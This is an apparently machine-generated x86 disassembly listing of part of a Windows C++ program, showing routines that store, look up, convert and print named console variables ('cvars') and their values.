; Attributes: noreturn
sub_40B2F0 proc near ; CODE XREF: sub_4017F8j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40B2F0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
mov esi, ecx
lea ecx, [esi+8Eh]
call sub_401C03
push 0
push 14h
push 13h
push 9
push 0Ch
push 4Eh
push 12h
push 1
push 16h
lea eax, [esp+64h+var_3C]
push 3
push eax
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+44h+var_4], 0
call sub_4017EE
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
sub_40B2F0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 14h
push 5
push 7
push 4Fh
push 12h
push 1
push 16h
lea edx, [esp+24h]
push 3
push edx
call sub_4019C4
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+40h], 1
call sub_4017EE
push eax
lea eax, [esi+32h]
push eax
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 14h
push 5
push 13h
push 4Eh
push 12h
push 1
push 16h
lea ecx, [esp+3Ch]
push 3
push ecx
call sub_4019C4
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+40h], 2
call sub_4017EE
add esi, 60h
push eax
push esi
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
mov dword ptr [esp+3Ch], 0FFFFFFFFh
lea ecx, [esp+1Ch]
call sub_401226
mov ecx, [esp+34h]
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40B470 proc near ; CODE XREF: sub_40181Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = byte ptr 14h
arg_14 = byte ptr 18h
arg_18 = dword ptr 1Ch
mov eax, [esp+arg_4]
push esi
mov esi, ecx
push edi
mov ecx, [esp+8+arg_0]
push eax
add ecx, 1Eh
call sub_401FDC
mov eax, [esp+8+arg_0]
mov edx, [esp+8+arg_C]
push edx
lea ecx, [eax+33h]
call sub_401FDC
mov ecx, [esp+8+arg_0]
mov dl, [esp+8+arg_10]
mov edi, [esp+8+arg_8]
mov [ecx+48h], dl
mov eax, [esp+8+arg_0]
push edi
push eax
mov ecx, esi
call sub_401F50
mov ecx, [esp+8+arg_0]
mov dl, [esp+8+arg_14]
push edi
mov [ecx+4], dl
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_18]
mov [eax+5], ecx
mov ecx, [esp+0Ch+arg_0]
call sub_401FDC
lea edx, [esp+8+arg_0]
lea ecx, [esi+8Eh]
push edx
call sub_401915
sub_40B470 endp
; ---------------------------------------------------------------------------
pop edi
pop esi
retn 1Ch
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40B510 proc near ; CODE XREF: sub_401B72j
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
arg_14 = dword ptr 18h
arg_18 = dword ptr 1Ch
push 0FFFFFFFFh
push offset SEH_40B510
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 48h
mov eax, [esp+54h+arg_C]
push ebp
push esi
mov esi, ecx
push edi
push eax
lea ecx, [esp+64h+var_24]
call sub_401870
mov edi, eax
mov ecx, [esp+60h+arg_8]
mov [esp+60h+var_4], 0
push ecx
lea ecx, [esp+64h+var_3C]
call sub_401870
mov ebp, eax
mov edx, [esp+60h+arg_4]
lea ecx, [esp+60h+var_54]
push edx
mov byte ptr [esp+64h+var_4], 1
call sub_401870
mov ecx, [esp+60h+arg_18]
mov edx, [esp+60h+arg_14]
push ecx
mov ecx, [esp+64h+arg_10]
push edx
mov edx, [esp+68h+arg_0]
push ecx
push edi
push ebp
push eax
push edx
mov ecx, esi
mov byte ptr [esp+7Ch+var_4], 2
call sub_40181B
sub_40B510 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov byte ptr [esp+5Ch], 1
call sub_401226
lea ecx, [esp+24h]
mov byte ptr [esp+5Ch], 0
call sub_401226
lea ecx, [esp+3Ch]
mov dword ptr [esp+5Ch], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+54h]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
add esp, 54h
retn 1Ch
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B600 proc near ; CODE XREF: sub_4019DDj
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 8
push esi
mov esi, ecx
push edi
lea ecx, [esp+10h+var_8]
call sub_401546
add esi, 8Eh
lea eax, [esp+10h+var_4]
push eax
mov ecx, esi
call sub_40145B
mov ecx, [eax]
lea edx, [esp+10h+var_4]
mov [esp+10h+var_8], ecx
push edx
mov ecx, esi
call sub_401C85
push eax
lea ecx, [esp+14h+var_8]
call sub_40136B
test al, al
jz short loc_40B681
mov edi, [esp+10h+arg_0]
loc_40B646: ; CODE XREF: sub_40B600+7Fj
push edi
lea ecx, [esp+14h+var_8]
call sub_401F78
mov ecx, [eax]
add ecx, 1Eh
call sub_4021D0
test eax, eax
lea ecx, [esp+10h+var_8]
jz short loc_40B68B
call sub_40133E
lea eax, [esp+10h+var_4]
mov ecx, esi
push eax
call sub_401C85
push eax
lea ecx, [esp+14h+var_8]
call sub_40136B
test al, al
jnz short loc_40B646
loc_40B681: ; CODE XREF: sub_40B600+40j
pop edi
xor eax, eax
pop esi
add esp, 8
retn 8
; ---------------------------------------------------------------------------
loc_40B68B: ; CODE XREF: sub_40B600+60j
call sub_401F78
mov eax, [eax]
pop edi
pop esi
add esp, 8
retn 8
sub_40B600 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B6D0: ; CODE XREF: ___:00401460j
push 0FFFFFFFFh
push offset loc_439EF8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
mov eax, [esp+28h]
push esi
mov esi, ecx
push eax
lea ecx, [esp+8]
call sub_401870
mov ecx, [esp+30h]
mov dword ptr [esp+24h], 0
push ecx
push eax
mov ecx, esi
call sub_4019DD
lea ecx, [esp+4]
mov esi, eax
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 24h
retn 8
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B760 proc near ; CODE XREF: sub_4015A0j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_4015E1
mov ecx, esi
call sub_4017EE
push eax
call near ptr 77C1CF90h
nop
fstp dword ptr [esi+15h]
add esp, 4
mov ecx, esi
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
add esp, 4
mov ecx, esi
mov [esi+1Ah], eax
mov byte ptr [esi+19h], 0
push offset aTrue ; "true"
call sub_4012EE
test eax, eax
jnz short loc_40B7B1
mov byte ptr [esi+19h], 1
loc_40B7B1: ; CODE XREF: sub_40B760+4Bj
pop esi
retn 8
sub_40B760 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B7E0 proc near ; CODE XREF: sub_401F50j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
mov ecx, esi
mov eax, [edi+9]
push eax
call sub_4015E1
mov ecx, esi
call sub_4017EE
push eax
nop
call near ptr 77C1CF90h
fstp dword ptr [esi+15h]
add esp, 4
mov ecx, esi
call sub_4017EE
push eax
call near ptr 77C1BF18h
nop
add esp, 4
mov ecx, esi
mov [esi+1Ah], eax
mov byte ptr [esi+19h], 0
push offset aTrue ; "true"
call sub_4012EE
test eax, eax
jnz short loc_40B835
mov byte ptr [esi+19h], 1
loc_40B835: ; CODE XREF: sub_40B7E0+4Fj
mov cl, [edi+4]
mov [esi+4], cl
mov edx, [edi+5]
mov [esi+5], edx
pop edi
pop esi
retn 8
sub_40B7E0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B870: ; CODE XREF: ___:00401D57j
fld dword ptr [esp+8]
push esi
mov esi, [esp+8]
sub esp, 8
fstp qword ptr [esp]
push offset aF ; "%f"
push esi
call sub_40102D
mov eax, [esp+1Ch]
add esp, 10h
mov ecx, esi
mov [esi+15h], eax
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
fld dword ptr [esp+10h]
fcomp flt_43F024
mov [esi+1Ah], eax
add esp, 4
mov byte ptr [esi+19h], 0
fnstsw ax
test ah, 1
jnz short loc_40B8C1
mov byte ptr [esi+19h], 1
loc_40B8C1: ; CODE XREF: ___:0040B8BBj
pop esi
retn 8
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B8F0: ; CODE XREF: ___:00401CA8j
push ebx
mov bl, [esp+0Ch]
test bl, bl
push esi
jz short loc_40B920
mov esi, [esp+0Ch]
push offset aTrue ; "true"
mov ecx, esi
call sub_4015E1
mov dword ptr [esi+15h], 3F800000h
mov dword ptr [esi+1Ah], 1
mov [esi+19h], bl
pop esi
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_40B920: ; CODE XREF: ___:0040B8F8j
mov esi, [esp+0Ch]
push offset aFalse ; "false"
mov ecx, esi
call sub_4015E1
xor eax, eax
mov [esi+19h], bl
mov [esi+15h], eax
mov [esi+1Ah], eax
pop esi
pop ebx
retn 8
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B960: ; CODE XREF: ___:00401D7Fj
push esi
mov esi, [esp+8]
push edi
mov edi, [esp+10h]
push edi
push offset dword_4447F4
push esi
call sub_40102D
fild dword ptr [esp+1Ch]
add esp, 0Ch
cmp edi, 1
mov [esi+1Ah], edi
mov byte ptr [esi+19h], 0
fstp dword ptr [esi+15h]
jl short loc_40B990
mov byte ptr [esi+19h], 1
loc_40B990: ; CODE XREF: ___:0040B98Aj
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B9B0: ; CODE XREF: ___:loc_401AE1j
mov eax, large fs:0
push 0FFFFFFFFh
push offset loc_439F30
push eax
mov large fs:0, esp
sub esp, 4Ch
push ebx
push ebp
push esi
mov esi, [esp+68h]
mov ebp, ecx
push edi
lea edi, [esi+7Eh]
lea ecx, [ebp+4]
call sub_4014DD
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_40BAF2
lea ebx, [esi+69h]
mov ecx, ebx
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push offset aCvar ; "(cvar)"
push eax
push ecx
mov ecx, offset byte_4D8075
call sub_401118
lea ecx, [esp+6Ch]
call sub_401546
add ebp, 8Eh
lea edx, [esp+10h]
push edx
mov ecx, ebp
xor edi, edi
call sub_40145B
mov eax, [eax]
lea ecx, [esp+10h]
push ecx
mov ecx, ebp
mov [esp+70h], eax
call sub_401C85
push eax
lea ecx, [esp+70h]
call sub_40136B
test al, al
jz loc_40BAEB
loc_40BA56: ; CODE XREF: ___:0040BAE5j
lea ecx, [esp+6Ch]
inc edi
call sub_401F78
mov ecx, [eax]
add ecx, 33h
call sub_4017EE
push eax
lea ecx, [esp+70h]
call sub_401F78
mov ecx, [eax]
call sub_4017EE
push eax
lea ecx, [esp+74h]
call sub_401F78
mov ecx, [eax]
add ecx, 1Eh
call sub_4017EE
push eax
push edi
push offset aDSSS ; "[%d] \"%s\" = \"%s\" (\"%s\")"
mov ecx, ebx
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8075
call sub_401857
add esp, 24h
push 5DCh
nop
call near ptr 2850369h
lea ecx, [esp+6Ch]
call sub_40133E
lea ecx, [esp+10h]
push ecx
mov ecx, ebp
call sub_401C85
push eax
lea ecx, [esp+70h]
call sub_40136B
test al, al
jnz loc_40BA56
loc_40BAEB: ; CODE XREF: ___:0040BA50j
mov al, 1
jmp loc_40BC7A
; ---------------------------------------------------------------------------
loc_40BAF2: ; CODE XREF: ___:0040B9E7j
lea ecx, [ebp+32h]
call sub_4017EE
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_40BB85
push offset asc_444600 ; " "
lea edx, [esp+30h]
push 1
push edx
mov ecx, esi
call sub_4016B8
push 1
push eax
mov ecx, ebp
mov dword ptr [esp+6Ch], 0
call sub_4019DD
lea ecx, [esp+2Ch]
mov edi, eax
mov dword ptr [esp+64h], 0FFFFFFFFh
call sub_401226
test edi, edi
jz loc_40BC78
mov ecx, edi
call sub_4017EE
push eax
lea ecx, [edi+1Eh]
call sub_4017EE
push eax
push offset aSS_5 ; "%s = \"%s\""
lea ecx, [esi+69h]
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D8075
call sub_401857
add esp, 1Ch
jmp loc_40BC7A
; ---------------------------------------------------------------------------
loc_40BB85: ; CODE XREF: ___:0040BB04j
lea ecx, [ebp+60h]
call sub_4014DD
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_40BC78
push offset asc_444600 ; " "
lea edx, [esp+30h]
push 1
push edx
mov ecx, esi
call sub_4016B8
push 1
push eax
mov ecx, ebp
mov dword ptr [esp+6Ch], 1
call sub_4019DD
lea ecx, [esp+2Ch]
mov edi, eax
mov dword ptr [esp+64h], 0FFFFFFFFh
call sub_401226
test edi, edi
jz loc_40BC78
push edi
lea ecx, [esp+18h]
call sub_4014D3
mov ebx, 2
push 1
push offset asc_444600 ; " "
lea eax, [esp+4Ch]
push ebx
push eax
mov ecx, esi
mov [esp+74h], ebx
call sub_4011EA
push eax
push edi
mov ecx, ebp
mov byte ptr [esp+6Ch], 3
call sub_401F50
lea ecx, [esp+44h]
mov [esp+64h], bl
call sub_401226
lea ecx, [esp+14h]
call sub_4017EE
push eax
mov ecx, edi
call sub_4017EE
push eax
lea ecx, [edi+1Eh]
call sub_4017EE
push eax
push offset aSSWasS ; "%s = \"%s\" [was \"%s\"]"
lea ecx, [esi+69h]
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D8075
call sub_401857
add esp, 20h
lea ecx, [esp+14h]
mov dword ptr [esp+64h], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp short loc_40BC7A
; ---------------------------------------------------------------------------
loc_40BC78: ; CODE XREF: ___:0040BB40j
; ___:0040BB97j ...
xor al, al
loc_40BC7A: ; CODE XREF: ___:0040BAEDj
; ___:0040BB80j ...
mov ecx, [esp+5Ch]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 58h
retn 4
; ---------------------------------------------------------------------------
db 90h
db 0C0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40BD50 proc near ; CODE XREF: sub_401C08j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_4021EE
sub_40BD50 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40BD90 proc near ; CODE XREF: sub_40155Fj
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401C85
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_40145B
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40124E
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401FEB
sub_40BD90 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BE00 proc near ; CODE XREF: sub_40145Bj
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
push eax
call sub_402117
mov ecx, [eax]
add esp, 4
push ecx
lea ecx, [esp+8+var_4]
call sub_4014B0
mov edx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], edx
pop ecx
retn 4
sub_40BE00 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BE40 proc near ; CODE XREF: sub_401C85j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
lea ecx, [esp+4+var_4]
push eax
call sub_4014B0
mov ecx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], ecx
pop ecx
retn 4
sub_40BE40 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40BE70 proc near ; CODE XREF: sub_401915j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_401C85
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401C5D
sub_40BE70 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BEB0 proc near ; CODE XREF: sub_401C03j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401C85
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_40145B
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40124E
pop esi
add esp, 0Ch
retn
sub_40BEB0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BF00 proc near ; CODE XREF: sub_401546j
push esi
mov esi, ecx
call sub_402158
mov eax, esi
pop esi
retn
sub_40BF00 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BF20 proc near ; CODE XREF: sub_401F78j
mov eax, [ecx]
push eax
call sub_401848
add esp, 4
retn
sub_40BF20 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BF40 proc near ; CODE XREF: sub_40133Ej
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_402117
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_40BF40 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BF70 proc near ; CODE XREF: sub_40136Bj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401CFD
neg al
sbb eax, eax
inc eax
retn 4
sub_40BF70 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40BFA0 proc near ; CODE XREF: sub_401C5Dj
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_4016AE
mov edi, eax
push edi
call sub_40215D
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_4021EE
sub_40BFA0 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_40215D
push edi
mov [eax], ebx
call sub_40215D
mov edi, [eax]
push edi
call sub_40215D
mov ecx, [eax]
push ecx
call sub_402117
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_401848
add esp, 4
mov ecx, esi
push eax
call sub_401F32
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
lea ecx, [esp+1Ch]
call sub_4014B0
mov ecx, [eax]
mov eax, [esp+10h]
pop edi
pop esi
mov [eax], ecx
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C040 proc near ; CODE XREF: sub_40124Ej
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_40136B
test al, al
jz short loc_40C09A
loc_40C058: ; CODE XREF: sub_40C040+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_401B9A
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_40106E
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_40136B
test al, al
jnz short loc_40C058
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_40C09A: ; CODE XREF: sub_40C040+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_40C040 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40C0D0 proc near ; CODE XREF: sub_4021EEj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_401569
sub_40C0D0 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_40C0E5
mov edi, esi
loc_40C0E5: ; CODE XREF: ___:0040C0E1j
push esi
call sub_402117
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_40C0FA
mov edi, esi
loc_40C0FA: ; CODE XREF: ___:0040C0F6j
push esi
call sub_40215D
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40C120 proc near ; CODE XREF: sub_401FEBj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_402077
sub_40C120 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C140 proc near ; CODE XREF: sub_402117j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_40C140 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C160 proc near ; CODE XREF: sub_401848j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_40C160 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C180 proc near ; CODE XREF: sub_402158j
mov eax, ecx
retn
sub_40C180 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C1A0 proc near ; CODE XREF: sub_4014B0j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_40105A
mov eax, esi
pop esi
retn 4
sub_40C1A0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C1D0 proc near ; CODE XREF: sub_401CFDj
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_40C1D0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40C200 proc near ; CODE XREF: sub_40106Ej
var_4 = byte ptr -4
arg_4 = byte ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_401B9A
mov ecx, eax
call sub_4016AE
mov esi, eax
push esi
call sub_402117
push esi
mov ebx, eax
call sub_40215D
mov ecx, [eax]
push ecx
call sub_402117
mov edx, [ebx]
push esi
mov [eax], edx
call sub_40215D
push esi
mov ebx, eax
call sub_402117
mov eax, [eax]
push eax
call sub_40215D
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_401848
add esp, 1Ch
mov ecx, edi
push eax
call sub_401221
push esi
mov ecx, edi
call sub_401FEB
sub_40C200 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C2C0 proc near ; CODE XREF: sub_40215Dj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_40C2C0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40C2E0 proc near ; CODE XREF: sub_401569j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D2A
sub_40C2E0 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40C310 proc near ; CODE XREF: sub_402077j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_437AD2
sub_40C310 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C330 proc near ; CODE XREF: sub_401F32j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_4011AE
add esp, 8
retn 8
sub_40C330 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C360 proc near ; CODE XREF: sub_40105Aj
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_40C360 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C380 proc near ; CODE XREF: sub_4016AEj
mov eax, [ecx]
retn
sub_40C380 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C3A0 proc near ; CODE XREF: sub_401B9Aj
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_40133E
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_40C3A0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C3D0 proc near ; CODE XREF: sub_401221j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_2
pop ecx
retn 4
sub_40C3D0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C3F0 proc near ; CODE XREF: sub_4011AEj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_40C40B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_40C40B: ; CODE XREF: sub_40C3F0+11j
retn
sub_40C3F0 endp
; ---------------------------------------------------------------------------
